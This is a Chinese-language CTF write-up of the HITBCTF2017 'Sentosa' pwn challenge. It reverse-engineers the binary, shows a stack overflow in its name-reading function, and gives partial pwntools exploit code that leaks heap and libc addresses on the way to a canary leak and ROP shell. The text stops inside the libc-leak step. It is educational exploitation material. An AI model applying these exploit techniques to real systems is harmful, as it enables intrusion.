6.1.18 pwn HITBCTF2017 Sentosa

下载文件

题目复现

  1. $ file sentosa
  2. sentosa: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=556ed41f51d01b6a345af2ffc2a135f7f8972a5f, stripped
  3. $ checksec -f sentosa
  4. RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
  5. Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 1 3 sentosa
  6. $ strings libc-2.23.so | grep "GNU C"
  7. GNU C Library (Ubuntu GLIBC 2.23-0ubuntu4) stable release version 2.23, by Roland McGrath et al.
  8. Compiled by GNU CC version 5.4.0 20160609.

保护全开,默认开启 ASLR。

在 Ubuntu-16.04 上玩一下:

  1. $ ./sentosa
  2. Welcome to Sentosa Development Center
  3. Choose your action:
  4. 1. Start a project
  5. 2. View all projects
  6. 3. Edit a project
  7. 4. Cancel a project
  8. 5. Exit
  9. 1
  10. Input length of your project name: 10
  11. Input your project name: AAAA
  12. Input your project price: 10
  13. Input your project area: 10
  14. Input your project capacity: 10
  15. Your project is No.0
  16. Welcome to Sentosa Development Center
  17. Choose your action:
  18. 1. Start a project
  19. 2. View all projects
  20. 3. Edit a project
  21. 4. Cancel a project
  22. 5. Exit
  23. 2
  24. Project: AAAA
  25. Price: 10
  26. Area: 10
  27. Capacity: 10
  28. Welcome to Sentosa Development Center
  29. Choose your action:
  30. 1. Start a project
  31. 2. View all projects
  32. 3. Edit a project
  33. 4. Cancel a project
  34. 5. Exit
  35. 3
  36. Not implemented yet
  37. Welcome to Sentosa Development Center
  38. Choose your action:
  39. 1. Start a project
  40. 2. View all projects
  41. 3. Edit a project
  42. 4. Cancel a project
  43. 5. Exit
  44. 4
  45. Input your projects number: 0

可以新增、查看和删除 project,但修改功能还未实现,这似乎意味着我们不能对堆进行修改。

现在我们给 length 输入 0 试试看:

  1. $ ./sentosa
  2. Welcome to Sentosa Development Center
  3. Choose your action:
  4. 1. Start a project
  5. 2. View all projects
  6. 3. Edit a project
  7. 4. Cancel a project
  8. 5. Exit
  9. 1
  10. Input length of your project name: 0
  11. Input your project name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  12. Input your project price: 10
  13. Input your project area: 10
  14. Input your project capacity: 10
  15. Your project is No.0
  16. *** stack smashing detected ***: ./sentosa terminated
  17. [2] 5673 abort (core dumped) ./sentosa

造成了缓冲区溢出,可见字符串读取的函数肯定是存在问题的。

题目解析

下面我们依次来逆向这些函数。

Start a project

  1. [0x00000a30]> pdf @ sub.There_are_too_much_projects_ca0
  2. / (fcn) sub.There_are_too_much_projects_ca0 482
  3. | sub.There_are_too_much_projects_ca0 ();
  4. | ; UNKNOWN XREF from 0x00001112 (sub.__isoc99_scanf_80 + 146)
  5. | ; CALL XREF from 0x00001112 (sub.__isoc99_scanf_80 + 146)
  6. | 0x00000ca0 push r13
  7. | 0x00000ca2 push r12
  8. | 0x00000ca4 push rbp
  9. | 0x00000ca5 push rbx
  10. | 0x00000ca6 xor ebx, ebx ; ebx 作为序号 i,初始化为 0
  11. | 0x00000ca8 sub rsp, 0x88 ; buffer[0x88]
  12. | 0x00000caf mov rax, qword fs:[0x28] ; [0x28:8]=0x2138 ; '('
  13. | 0x00000cb8 mov qword [rsp + 0x78], rax
  14. | 0x00000cbd xor eax, eax
  15. | 0x00000cbf cmp dword [0x002020c0], 0x10 ; [0x002020c0] 存储当前数量 proj_num
  16. | 0x00000cc6 lea rax, [0x00202040] ; 取出数组 projects
  17. | ,=< 0x00000ccd jg 0xe80 ; proj_num 大于 0x10 时跳转
  18. | | 0x00000cd3 nop dword [rax + rax]
  19. | | ; JMP XREF from 0x00000cea (sub.There_are_too_much_projects_ca0)
  20. | .--> 0x00000cd8 cmp qword [rax + rbx*8], 0 ; projects[i] 0 比较
  21. | :| 0x00000cdd movsxd rbp, ebx
  22. | ,===< 0x00000ce0 je 0xd10 ; projects[i] 0 时跳转
  23. | |:| 0x00000ce2 add rbx, 1 ; 否则 i = i+1
  24. | |:| 0x00000ce6 cmp rbx, 0x10
  25. | |`==< 0x00000cea jne 0xcd8 ; i 不等于 0x10 时跳转(循环,目的是找到为 0 的 projects[i])
  26. | | | 0x00000cec lea rsi, str.Error. ; 0x135b ; "Error." ; 否则打印出 Error
  27. | | | 0x00000cf3 mov edi, 1
  28. | | | 0x00000cf8 xor eax, eax
  29. | | | 0x00000cfa call sym.imp.__printf_chk
  30. | | | 0x00000cff xor edi, edi
  31. | | | 0x00000d01 call sym.imp.exit ; void exit(int status)
  32. | | 0x00000d06 nop word cs:[rax + rax]
  33. | | | ; JMP XREF from 0x00000ce0 (sub.There_are_too_much_projects_ca0)
  34. | `---> 0x00000d10 lea rsi, str.Input_length_of_your_project_name: ; 0x11f0 ; "Input length of your project name: "
  35. | | 0x00000d17 mov edi, 1
  36. | | 0x00000d1c xor eax, eax
  37. | | 0x00000d1e call sym.imp.__printf_chk
  38. | | 0x00000d23 lea rsi, [rsp + 0xc]
  39. | | 0x00000d28 lea rdi, [0x00001309] ; "%d"
  40. | | 0x00000d2f xor eax, eax
  41. | | 0x00000d31 call sym.imp.__isoc99_scanf
  42. | | 0x00000d36 movsxd rax, dword [rsp + 0xc] ; rax = length
  43. | | 0x00000d3b cmp eax, 0x59 ; 'Y'
  44. | ,==< 0x00000d3e ja 0xe70 ; 表示 length 不能大于 0x59
  45. | || 0x00000d44 lea rdi, [rax + 0x15]
  46. | || 0x00000d48 lea r13, [rsp + 0x10] ; r13 = rsp + 0x10
  47. | || 0x00000d4d call sym.imp.malloc ; malloc(length+0x15) 分配 project
  48. | || 0x00000d52 mov edx, dword [rsp + 0xc] ; 取出 length edx
  49. | || 0x00000d56 mov qword [rsp + 0x6a], rax ; project 地址放到 [rsp + 0x6a]
  50. | || 0x00000d5b mov ecx, 0xb
  51. | || 0x00000d60 mov rdi, r13 ; rdi = rsp+0x10
  52. | || 0x00000d63 lea rsi, str.Input_your_project_name: ; 0x12d4 ; "Input your project name: "
  53. | || 0x00000d6a lea r12, [rax + rdx + 5] ; r12 = &project[length+5]
  54. | || 0x00000d6f mov dword [rax], edx ; project->length = length
  55. | || 0x00000d71 xor eax, eax ; eax = 0
  56. | || 0x00000d73 rep stosq qword [rdi], rax ; 清空 buffer
  57. | || 0x00000d76 xor edx, edx ; edx = 0
  58. | || 0x00000d78 mov word [rdi], dx ; [rsp+0x10] = 0
  59. | || 0x00000d7b mov edi, 1
  60. | || 0x00000d80 call sym.imp.__printf_chk
  61. | || 0x00000d85 mov esi, dword [rsp + 0xc] ; [0xc:4]=0
  62. | || 0x00000d89 mov rdi, r13
  63. | || 0x00000d8c call sub.read_bf0 ; 调用函数 read_bf0(rsp+0x10, length) 读入 name
  64. | || 0x00000d91 mov rax, qword [rsp + 0x6a] ; rax 存放 project
  65. | || 0x00000d96 movsxd rdx, dword [rsp + 0xc] ; [0xc:4]=0
  66. | || 0x00000d9b mov rsi, r13
  67. | || 0x00000d9e lea rdi, [rax + 4]
  68. | || 0x00000da2 call sym.imp.strncpy ; strncpy(project+4, name, length),即将 name 复制到 project->name
  69. | || 0x00000da7 lea rsi, str.Input_your_project_price: ; 0x12ee ; "Input your project price: "
  70. | || 0x00000dae mov edi, 1
  71. | || 0x00000db3 mov dword [r12], 1 ; project[length+5] = 1,即 project->check
  72. | || 0x00000dbb xor eax, eax
  73. | || 0x00000dbd call sym.imp.__printf_chk
  74. | || 0x00000dc2 lea rsi, [r12 + 4] ; rsi = project[length+5 + 4],即 project->price
  75. | || 0x00000dc7 lea rdi, [0x00001309] ; "%d"
  76. | || 0x00000dce xor eax, eax
  77. | || 0x00000dd0 call sym.imp.__isoc99_scanf
  78. | || 0x00000dd5 lea rsi, str.Input_your_project_area: ; 0x130c ; "Input your project area: "
  79. | || 0x00000ddc mov edi, 1
  80. | || 0x00000de1 xor eax, eax
  81. | || 0x00000de3 call sym.imp.__printf_chk
  82. | || 0x00000de8 lea rsi, [r12 + 8] ; rsi = project[length+5 + 8],即 project->area
  83. | || 0x00000ded lea rdi, [0x00001309] ; "%d"
  84. | || 0x00000df4 xor eax, eax
  85. | || 0x00000df6 call sym.imp.__isoc99_scanf
  86. | || 0x00000dfb lea rsi, str.Input_your_project_capacity: ; 0x1326 ; "Input your project capacity: "
  87. | || 0x00000e02 mov edi, 1
  88. | || 0x00000e07 xor eax, eax
  89. | || 0x00000e09 call sym.imp.__printf_chk
  90. | || 0x00000e0e lea rsi, [r12 + 0xc] ; rsi = project[length+5 + 12],即 project->capacity
  91. | || 0x00000e13 lea rdi, [0x00001309] ; "%d"
  92. | || 0x00000e1a xor eax, eax
  93. | || 0x00000e1c call sym.imp.__isoc99_scanf
  94. | || 0x00000e21 mov rdx, qword [rsp + 0x6a] ; 取出 project
  95. | || 0x00000e26 lea rax, [0x00202040]
  96. | || 0x00000e2d lea rsi, str.Your_project_is_No._d ; 0x1344 ; "Your project is No.%d\n"
  97. | || 0x00000e34 mov edi, 1
  98. | || 0x00000e39 mov qword [rax + rbp*8], rdx ; projects[i] = project,放到数组中
  99. | || 0x00000e3d mov edx, ebx
  100. | || 0x00000e3f xor eax, eax
  101. | || 0x00000e41 call sym.imp.__printf_chk
  102. | || 0x00000e46 add dword [0x002020c0], 1 ; proj_num 1
  103. | || ; JMP XREF from 0x00000e7c (sub.There_are_too_much_projects_ca0)
  104. | || ; JMP XREF from 0x00000e8c (sub.There_are_too_much_projects_ca0)
  105. | ..---> 0x00000e4d mov rax, qword [rsp + 0x78] ; [0x78:8]=0x400000003 ; 'x'
  106. | ::|| 0x00000e52 xor rax, qword fs:[0x28]
  107. | ,=====< 0x00000e5b jne 0xe8e
  108. | |::|| 0x00000e5d add rsp, 0x88
  109. | |::|| 0x00000e64 pop rbx
  110. | |::|| 0x00000e65 pop rbp
  111. | |::|| 0x00000e66 pop r12
  112. | |::|| 0x00000e68 pop r13
  113. | |::|| 0x00000e6a ret
  114. |::|| 0x00000e6b nop dword [rax + rax]
  115. | |::|| ; JMP XREF from 0x00000d3e (sub.There_are_too_much_projects_ca0)
  116. | |::`--> 0x00000e70 lea rdi, str.Invalid_name_length ; 0x12bf ; "Invalid name length!"
  117. | |:: | 0x00000e77 call sym.imp.puts ; int puts(const char *s)
  118. | |`====< 0x00000e7c jmp 0xe4d
  119. | : | 0x00000e7e nop
  120. | | : | ; JMP XREF from 0x00000ccd (sub.There_are_too_much_projects_ca0)
  121. | | : `-> 0x00000e80 lea rdi, str.There_are_too_much_projects ; 0x12a2 ; "There are too much projects!"
  122. | | : 0x00000e87 call sym.imp.puts ; int puts(const char *s)
  123. | | `===< 0x00000e8c jmp 0xe4d
  124. | | ; JMP XREF from 0x00000e5b (sub.There_are_too_much_projects_ca0)
  125. \ `-----> 0x00000e8e call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)

通过上面的分析可以得到 project 结构体和 projects 数组:

  1. struct project {
  2. int length;
  3. char name[length];
  4. int check;
  5. int price;
  6. int area;
  7. int capacity;
  8. } project;
  9. struct project *projects[0x10];

projects 位于 0x00202040,proj_num 位于 0x002020c0

用户输入的 length 必须小于 0x59,使用 malloc(length+0x15) 分配一块堆空间作为 project,然后调用 read_buf0() 读入 name 到栈上。读入 name 后将其复制到 project 中,然后将 check 置为 1,最后再依次读入 price、area 和 capacity。

程序自己实现的 read_bf0() 函数如下:

  1. [0x00000a30]> pdf @ sub.read_bf0
  2. / (fcn) sub.read_bf0 148
  3. | sub.read_bf0 ();
  4. | ; var int local_0h @ rbp-0x0
  5. | ; CALL XREF from 0x00000d8c (sub.There_are_too_much_projects_ca0)
  6. | 0x00000bf0 push r14
  7. | 0x00000bf2 push r13
  8. | 0x00000bf4 push r12
  9. | 0x00000bf6 push rbp
  10. | 0x00000bf7 mov r12, rdi ; r12 存储 buffer 地址
  11. | 0x00000bfa push rbx
  12. | 0x00000bfb sub rsp, 0x10
  13. | 0x00000bff mov rax, qword fs:[0x28] ; [0x28:8]=0x2138 ; '('
  14. | 0x00000c08 mov qword [rsp + 8], rax
  15. | 0x00000c0d xor eax, eax
  16. | 0x00000c0f sub esi, 1 ; length 1
  17. | ,=< 0x00000c12 je 0xc8a ; length 等于 0 时跳转
  18. | | 0x00000c14 mov r13d, esi ; 否则继续
  19. | | 0x00000c17 mov rbp, rdi ; rbp 存储 buffer 地址
  20. | | 0x00000c1a xor ebx, ebx ; 循环计算 i,初始化为 0
  21. | | 0x00000c1c lea r14, [rsp + 7] ; 读入字符到 [rsp+7]
  22. | ,==< 0x00000c21 jmp 0xc37
  23. || 0x00000c23 nop dword [rax + rax]
  24. | || ; JMP XREF from 0x00000c4f (sub.read_bf0)
  25. | .---> 0x00000c28 add ebx, 1 ; i = i + 1
  26. | :|| 0x00000c2b mov byte [rbp], al ; 将字符放到 [rbp]
  27. | :|| 0x00000c2e add rbp, 1 ; rbp = rbp + 1
  28. | :|| 0x00000c32 cmp ebx, r13d
  29. | ,====< 0x00000c35 je 0xc80 ; i 等于 length 时跳转
  30. | |:|| ; JMP XREF from 0x00000c21 (sub.read_bf0)
  31. | |:`--> 0x00000c37 xor edi, edi ; i 不等于 length 时循环继续
  32. | |: | 0x00000c39 xor eax, eax
  33. | |: | 0x00000c3b mov edx, 1
  34. | |: | 0x00000c40 mov rsi, r14
  35. | |: | 0x00000c43 call sym.imp.read ; read(0, rsp+7, 1) 每次读入一个字节
  36. | |: | 0x00000c48 movzx eax, byte [rsp + 7] ; [0x7:1]=0
  37. | |: | 0x00000c4d cmp al, 0xa ; 判断是否为 '\n'
  38. | |`===< 0x00000c4f jne 0xc28 ; 不是 '\n' 时循环继续
  39. | | | 0x00000c51 movsxd rbx, ebx ; 否则 rbx = i
  40. | | | 0x00000c54 mov byte [r12 + rbx], 0 ; buffer[i] = 0,即末尾加 '\x00'
  41. | | | ; JMP XREF from 0x00000c88 (sub.read_bf0)
  42. | | .--> 0x00000c59 mov rax, qword [rsp + 8] ; [0x8:8]=0
  43. | | :| 0x00000c5e xor rax, qword fs:[0x28]
  44. | |,===< 0x00000c67 jne 0xc8e
  45. | ||:| 0x00000c69 add rsp, 0x10
  46. | ||:| 0x00000c6d pop rbx
  47. | ||:| 0x00000c6e pop rbp
  48. | ||:| 0x00000c6f pop r12
  49. | ||:| 0x00000c71 pop r13
  50. | ||:| 0x00000c73 pop r14
  51. | ||:| 0x00000c75 ret
  52. ||:| 0x00000c76 nop word cs:[rax + rax]
  53. | ||:| ; JMP XREF from 0x00000c35 (sub.read_bf0)
  54. | `----> 0x00000c80 movsxd rbx, ebx
  55. | |:| ; JMP XREF from 0x00000c8c (sub.read_bf0)
  56. | .----> 0x00000c83 mov byte [r12 + rbx], 0
  57. | :|`==< 0x00000c88 jmp 0xc59
  58. | :| | ; JMP XREF from 0x00000c12 (sub.read_bf0)
  59. | :| `-> 0x00000c8a xor ebx, ebx
  60. | `====< 0x00000c8c jmp 0xc83
  61. | | ; JMP XREF from 0x00000c67 (sub.read_bf0)
  62. \ `---> 0x00000c8e call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)

正如我们一开始猜测的,这个函数是有问题的,如果输入 0 作为 length,则 length-1(能读入的实际长度) 后得到一个负数,在循环判断时,负数永远不会等于一个正数,于是将读入任意长度的字符串(以\n结尾),造成缓冲区溢出。

字符串末尾会被加上 \x00,且开启了 Canary,暂时还没想到如何利用,继续往下看。另外特别注意 malloc 后得到的 project 的地址存放在 rsp + 0x6a 的位置。

View all projects

  1. [0x00000a30]> pdf @ sub.Project:__s_ea0
  2. / (fcn) sub.Project:__s_ea0 191
  3. | sub.Project:__s_ea0 (int arg_4h, int arg_8h, int arg_ch);
  4. | ; arg int arg_4h @ rbp+0x4
  5. | ; arg int arg_8h @ rbp+0x8
  6. | ; arg int arg_ch @ rbp+0xc
  7. | ; CALL XREF from 0x00001102 (sub.__isoc99_scanf_80 + 130)
  8. | 0x00000ea0 push r12
  9. | 0x00000ea2 push rbp
  10. | 0x00000ea3 lea r12, [0x002020c0] ; 取出 &proj_num
  11. | 0x00000eaa push rbx
  12. | 0x00000eab lea rbx, [0x00202040] ; 取出 &projects
  13. | 0x00000eb2 sub rsp, 0x10
  14. | 0x00000eb6 mov rax, qword fs:[0x28] ; [0x28:8]=0x2138 ; '('
  15. | 0x00000ebf mov qword [rsp + 8], rax
  16. | 0x00000ec4 xor eax, eax
  17. | 0x00000ec6 nop word cs:[rax + rax]
  18. | ; JMP XREF from 0x00000f3f (sub.Project:__s_ea0)
  19. | .-> 0x00000ed0 mov rdx, qword [rbx] ; 取出此时开头的 project
  20. | : 0x00000ed3 test rdx, rdx
  21. | ,==< 0x00000ed6 je 0xf38 ; project 0 时跳转
  22. | |: 0x00000ed8 mov eax, dword [rdx]
  23. | |: 0x00000eda lea rsi, str.Project:__s ; 0x1362 ; "Project: %s\n"
  24. | |: 0x00000ee1 mov edi, 1
  25. | |: 0x00000ee6 lea rbp, [rdx + rax + 5] ; rbp = project->check
  26. | |: 0x00000eeb add rdx, 4 ; rdx = project->name
  27. | |: 0x00000eef xor eax, eax
  28. | |: 0x00000ef1 call sym.imp.__printf_chk ; 打印出 project->name
  29. | |: 0x00000ef6 mov edx, dword [arg_4h] ; rdx = project->price
  30. | |: 0x00000ef9 lea rsi, str.Price:__d ; 0x136f ; "Price: %d\n"
  31. | |: 0x00000f00 mov edi, 1
  32. | |: 0x00000f05 xor eax, eax
  33. | |: 0x00000f07 call sym.imp.__printf_chk ; 打印出 project->price
  34. | |: 0x00000f0c mov edx, dword [arg_8h] ; rdx = project->area
  35. | |: 0x00000f0f lea rsi, str.Area:__d ; 0x137a ; "Area: %d\n"
  36. | |: 0x00000f16 mov edi, 1
  37. | |: 0x00000f1b xor eax, eax
  38. | |: 0x00000f1d call sym.imp.__printf_chk ; 打印出 project->area
  39. | |: 0x00000f22 mov edx, dword [arg_ch] ; rdx = project->capacity
  40. | |: 0x00000f25 lea rsi, str.Capacity:__d ; 0x1384 ; "Capacity: %d\n"
  41. | |: 0x00000f2c mov edi, 1
  42. | |: 0x00000f31 xor eax, eax
  43. | |: 0x00000f33 call sym.imp.__printf_chk ; 打印出 project->capacity
  44. | |: ; JMP XREF from 0x00000ed6 (sub.Project:__s_ea0)
  45. | `--> 0x00000f38 add rbx, 8 ; rbx += 8,即 projects 向后移一个
  46. | : 0x00000f3c cmp rbx, r12
  47. | `=< 0x00000f3f jne 0xed0 ; &projects 不等于 &proj_num 时循环继续
  48. | 0x00000f41 mov rax, qword [rsp + 8] ; [0x8:8]=0
  49. | 0x00000f46 xor rax, qword fs:[0x28]
  50. | ,=< 0x00000f4f jne 0xf5a
  51. | | 0x00000f51 add rsp, 0x10
  52. | | 0x00000f55 pop rbx
  53. | | 0x00000f56 pop rbp
  54. | | 0x00000f57 pop r12
  55. | | 0x00000f59 ret
  56. | | ; JMP XREF from 0x00000f4f (sub.Project:__s_ea0)
  57. \ `-> 0x00000f5a call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)

该函数用于打印出所有存在的 project 的信息。

Cancel a project

  1. [0x00000a30]> pdf @ sub.There_are_no_project_to_cancel_f60
  2. / (fcn) sub.There_are_no_project_to_cancel_f60 207
  3. | sub.There_are_no_project_to_cancel_f60 ();
  4. | ; CALL XREF from 0x000010e2 (sub.__isoc99_scanf_80 + 98)
  5. | 0x00000f60 push rbx
  6. | 0x00000f61 sub rsp, 0x10
  7. | 0x00000f65 mov rax, qword fs:[0x28] ; [0x28:8]=0x2138 ; '('
  8. | 0x00000f6e mov qword [rsp + 8], rax
  9. | 0x00000f73 xor eax, eax
  10. | 0x00000f75 mov eax, dword [0x002020c0] ; 取出 proj_num
  11. | 0x00000f7b test eax, eax
  12. | ,=< 0x00000f7d jle 0x1010 ; proj_num 小于等于 0 时跳转
  13. | | 0x00000f83 lea rsi, str.Input_your_projects_number: ; 0x1392 ; "Input your projects number: "
  14. | | 0x00000f8a mov edi, 1
  15. | | 0x00000f8f xor eax, eax
  16. | | 0x00000f91 call sym.imp.__printf_chk
  17. | | 0x00000f96 lea rsi, [rsp + 4]
  18. | | 0x00000f9b lea rdi, [0x00001309] ; "%d"
  19. | | 0x00000fa2 xor eax, eax
  20. | | 0x00000fa4 call sym.imp.__isoc99_scanf ; 读入 i rsp+4
  21. | | 0x00000fa9 movsxd rax, dword [rsp + 4] ; [0x4:4]=0x10102
  22. | | 0x00000fae cmp eax, 0xf
  23. | ,==< 0x00000fb1 ja 0x1000 ; i 大于 0xf 时函数返回
  24. | || 0x00000fb3 lea rbx, [0x00202040] ; 取出 &projects
  25. | || 0x00000fba mov rdi, qword [rbx + rax*8] ; 取出 projects[i]
  26. | || 0x00000fbe test rdi, rdi
  27. | ,===< 0x00000fc1 je 0x1000 ; projects[i] 0 时函数返回
  28. | ||| 0x00000fc3 mov eax, dword [rdi]
  29. | ||| 0x00000fc5 cmp dword [rdi + rax + 5], 1 ; 检查 projects[i]->check 是否为 1
  30. | ,====< 0x00000fca jne 0x1023 ; 不为 1 时程序结束
  31. | |||| 0x00000fcc call sym.imp.free ; free(projects[i]) 释放 project
  32. | |||| 0x00000fd1 movsxd rax, dword [rsp + 4] ; [0x4:4]=0x10102
  33. | |||| 0x00000fd6 sub dword [0x002020c0], 1 ; proj_num 1
  34. | |||| 0x00000fdd mov qword [rbx + rax*8], 0 ; projects[i] = 0 将其置 0
  35. | |||| ; JMP XREF from 0x0000100c (sub.There_are_no_project_to_cancel_f60)
  36. | |||| ; JMP XREF from 0x0000101c (sub.There_are_no_project_to_cancel_f60)
  37. | ..-----> 0x00000fe5 mov rax, qword [rsp + 8] ; [0x8:8]=0
  38. | ::|||| 0x00000fea xor rax, qword fs:[0x28]
  39. | ,=======< 0x00000ff3 jne 0x101e
  40. | |::|||| 0x00000ff5 add rsp, 0x10
  41. | |::|||| 0x00000ff9 pop rbx
  42. | |::|||| 0x00000ffa ret
  43. |::|||| 0x00000ffb nop dword [rax + rax]
  44. | |::|||| ; JMP XREF from 0x00000fb1 (sub.There_are_no_project_to_cancel_f60)
  45. | |::|||| ; JMP XREF from 0x00000fc1 (sub.There_are_no_project_to_cancel_f60)
  46. | |::|``--> 0x00001000 lea rdi, str.Invalid_number ; 0x13af ; "Invalid number!"
  47. | |::| | 0x00001007 call sym.imp.puts ; int puts(const char *s)
  48. | |`======< 0x0000100c jmp 0xfe5
  49. | :| | 0x0000100e nop
  50. | | :| | ; JMP XREF from 0x00000f7d (sub.There_are_no_project_to_cancel_f60)
  51. | | :| `-> 0x00001010 lea rdi, str.There_are_no_project_to_cancel ; 0x1218 ; "There are no project to cancel!"
  52. | | :| 0x00001017 call sym.imp.puts ; int puts(const char *s)
  53. | | `=====< 0x0000101c jmp 0xfe5
  54. | | | ; JMP XREF from 0x00000ff3 (sub.There_are_no_project_to_cancel_f60)
  55. | `-------> 0x0000101e call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
  56. | | ; JMP XREF from 0x00000fca (sub.There_are_no_project_to_cancel_f60)
  57. | `----> 0x00001023 lea rdi, str.Corrupted_project ; 0x13bf ; "Corrupted project!"
  58. | 0x0000102a call sym.imp.puts ; int puts(const char *s)
  59. | 0x0000102f xor edi, edi
  60. \ 0x00001031 call sym.imp.exit ; void exit(int status)

该函数首先检查 project->check 是否被修改(不等于1),如果没有则释放该 project,并将 projects[i] 置 0。否则程序退出。这个函数似乎没有悬指针之类的问题。

漏洞利用

总结一下,就是在 read_bf0() 函数中存在一个栈溢出漏洞。

我们来看一下 read_bf0() 函数中的内存布局,假设分配一个这样的 project:

  1. start_proj(0x4f, "A"*(0x4f-1), 2, 3, 4)
  1. gdb-peda$ x/22gx $rsp
  2. 0x7fffffffec70: 0x00007ffff7dd3780 0x0000004ff7b046e0
  3. 0x7fffffffec80: 0x4141414141414141 0x4141414141414141 <-- name
  4. 0x7fffffffec90: 0x4141414141414141 0x4141414141414141
  5. 0x7fffffffeca0: 0x4141414141414141 0x4141414141414141
  6. 0x7fffffffecb0: 0x4141414141414141 0x4141414141414141
  7. 0x7fffffffecc0: 0x4141414141414141 0x0000414141414141
  8. 0x7fffffffecd0: 0x0000000000000000 0x5555557570100000 <-- project address
  9. 0x7fffffffece0: 0x0000000000000000 0x38a9eb4968c1da00 <-- canary
  10. 0x7fffffffecf0: 0x000055555555529a 0x00005555555553f8
  11. 0x7fffffffed00: 0x00007fffffffed24 0x0000555555554a30
  12. 0x7fffffffed10: 0x00007fffffffee40 0x0000555555555117 <-- return address
  13. gdb-peda$ x/g $rsp+0x6a
  14. 0x7fffffffecda: 0x0000555555757010 <-- project address
  15. gdb-peda$ x/18gx *(void **)($rsp+0x6a)-0x10
  16. 0x555555757000: 0x0000000000000000 0x0000000000000071 <-- project chunk
  17. 0x555555757010: 0x414141410000004f 0x4141414141414141 <-- length <-- name
  18. 0x555555757020: 0x4141414141414141 0x4141414141414141
  19. 0x555555757030: 0x4141414141414141 0x4141414141414141
  20. 0x555555757040: 0x4141414141414141 0x4141414141414141
  21. 0x555555757050: 0x4141414141414141 0x4141414141414141
  22. 0x555555757060: 0x0000000100004141 0x0000000300000002 <-- check <-- price, area
  23. 0x555555757070: 0x0000000000000004 0x0000000000020f91 <-- capacity <-- top chunk
  24. 0x555555757080: 0x0000000000000000 0x0000000000000000
  25. gdb-peda$ x/18gx 0x555555756040
  26. 0x555555756040: 0x0000555555757010 0x0000000000000000 <-- projects
  27. 0x555555756050: 0x0000000000000000 0x0000000000000000
  28. 0x555555756060: 0x0000000000000000 0x0000000000000000
  29. 0x555555756070: 0x0000000000000000 0x0000000000000000
  30. 0x555555756080: 0x0000000000000000 0x0000000000000000
  31. 0x555555756090: 0x0000000000000000 0x0000000000000000
  32. 0x5555557560a0: 0x0000000000000000 0x0000000000000000
  33. 0x5555557560b0: 0x0000000000000000 0x0000000000000000
  34. 0x5555557560c0: 0x0000000000000001 0x0000000000000000 <-- proj_num

所以其实在覆盖到 Canary 之前,我们是有一个 project 地址可以覆盖的,但由于 read_bf0() 会在字符串末尾加 "\x00",所以我们只能够将地址的低位覆盖为 "\x00"。在新增 project 过程的最后,会将 project address 放到数组 projects 中,所以我们可以将覆盖后的 project address 放进数组。然后利用 View 的功能就可以打印出内容。

另外我们应该注意的是上面的 project address 是最后一次 malloc 返回的地址,即最后添加的 project 的 address。在上面的例子中,如果我们将 project address 覆盖掉,则它指向了 project 的 chunk 头。所以我们可以将其指向一个被释放的 fastbin,它的 fd 指针指向了 heap 上的一个地址,只要将其打印出来就可以通过计算得到 heap 基址。

得到了 heap 基址后,我们就可以将 project address 修改为任意的堆地址,从而读取任意信息。所以下一步我们从堆里得到 libc 地址,接着通过 libc 的 __environ 符号得到 stack 地址,最后就可以从栈上得到 Canary。构造 ROP 得到 shell。

leak heap

  1. def leak_heap():
  2. global heap_base
  3. start_proj(0, 'A', 1, 1, 1) # 0
  4. start_proj(0, 'A'*0x5a, 1, 1, 1) # 1
  5. start_proj(0, 'A', 1, 1, 1) # 2
  6. cancel_proj(2)
  7. cancel_proj(0)
  8. view_proj()
  9. io.recvuntil("Capacity: ")
  10. leak = int(io.recvline()[:-1], 10) & 0xffffffff
  11. heap_base = (0x55<<40) + (leak<<8) # 0x55 or 0x56
  12. log.info("libc base: 0x%x" % heap_base)

首先分配 3 个 fast chunk,其中第 2 个利用栈溢出修改 project address,使其指向第 chunk 0。然后依次释放掉 chunk 2 和 chunk 0,此时 chunk 0 的 fd 指向了 chunk 2:

  1. gdb-peda$ x/18gx 0x555555756040
  2. 0x555555756040: 0x0000000000000000 0x0000555555757000 <-- projects
  3. 0x555555756050: 0x0000000000000000 0x0000000000000000
  4. 0x555555756060: 0x0000000000000000 0x0000000000000000
  5. 0x555555756070: 0x0000000000000000 0x0000000000000000
  6. 0x555555756080: 0x0000000000000000 0x0000000000000000
  7. 0x555555756090: 0x0000000000000000 0x0000000000000000
  8. 0x5555557560a0: 0x0000000000000000 0x0000000000000000
  9. 0x5555557560b0: 0x0000000000000000 0x0000000000000000
  10. 0x5555557560c0: 0x0000000000000001 0x0000000000000000 <-- proj_num
  11. gdb-peda$ x/16gx 0x555555757010-0x10
  12. 0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0 [be freed]
  13. 0x555555757010: 0x0000555555757040 0x0000010000000100 <-- fd pointer
  14. 0x555555757020: 0x0000000000000100 0x0000000000000021 <-- chunk 1
  15. 0x555555757030: 0x0000010000000000 0x0000010000000100
  16. 0x555555757040: 0x0000000000000100 0x0000000000000021 <-- chunk 2 [be freed]
  17. 0x555555757050: 0x0000000000000000 0x0000010000000100
  18. 0x555555757060: 0x0000000000000100 0x0000000000020fa1 <-- top chunk
  19. 0x555555757070: 0x0000000000000000 0x0000000000000000

然后 View 打印出来就得到了 heap 基址。这种构造方法还是有一点问题的,不能打印出最高位的 0x55,但我们知道这个值相对固定,所以直接加上就可以了。

leak libc

  1. def leak_libc():
  2. global libc_base
  3. start_proj(0xf, 'A', 0xd1, 0, 0x64) # 0
  4. start_proj(0x50, '\x01', 1, 1, 1) # 2
  5. start_proj(0x50, 'A'*0x44+'\x21', 1, 1, 1) # 3
  6. start_proj(0, 'A'*0x5a + p64(heap_base+0x90), 1, 1, 1) # 4
  7. start_proj(0, 'A'*0x5a + p64(heap_base+0x8b), 1, 1, 1) # 5
  8. cancel_proj(4)
  9. view_proj()
  10. for i in range(5):
  11. io.recvuntil("Area: ")
